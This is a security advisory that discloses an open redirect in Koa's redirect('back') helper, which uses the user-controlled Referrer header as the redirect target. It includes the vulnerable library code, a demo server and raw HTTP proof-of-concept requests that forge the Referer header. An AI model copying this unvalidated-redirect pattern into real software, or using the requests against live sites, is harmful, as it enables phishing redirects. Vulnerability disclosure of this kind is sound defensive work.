GHSA-jgmv-j7ww-jx2x

## Summary In the latest version of Koa, the back method used for redirect operations adopts an insecure implementation, which uses the user-controllable referrer header as the redirect target.

## Details on the API document https://www.koajs.net/api/response#responseredirecturl-alt, we can see:

**response.redirect(url, [alt])** ``` Performs a [302] redirect to url. The string "back" is specially provided for Referrer support, using alt or "/" when Referrer does not exist.

ctx.redirect('back'); ctx.redirect('back', '/index.html'); ctx.redirect('/login'); ctx.redirect('http://google.com');

``` however, the "back" method is insecure:

- https://github.com/koajs/koa/blob/master/lib/response.js#L322 ``` back (alt) { const url = this.ctx.get('Referrer') || alt || '/' this.redirect(url) }, ``` Referrer Header is User-Controlled.

## PoC

**there is a demo for POC:** ``` const Koa = require('koa') const serve = require('koa-static') const Router = require('@koa/router') const path = require('path')

const app = new Koa() const router = new Router()

// Serve static files from the public directory app.use(serve(path.join(__dirname, 'public')))

// Define routes router.get('/test', ctx => { ctx.redirect('back', '/index1.html') })

router.get('/test2', ctx => { ctx.redirect('back') })

router.get('/', ctx => { ctx.body = 'Welcome to the home page! Try accessing /test, /test2' })

app.use(router.routes()) app.use(router.allowedMethods())

const port = 3000 app.listen(port, () => { console.log(`Server running at http://localhost:${port}`) }) ``` **Proof Of Concept** ``` GET /test HTTP/1.1 Host: 127.0.0.1:3000 Referer: http://www.baidu.com Connection: close

GET /test2 HTTP/1.1 Host: 127.0.0.1:3000 Referer: http://www.baidu.com Connection: close ``` 


## Impact https://learn.snyk.io/lesson/open-redirect/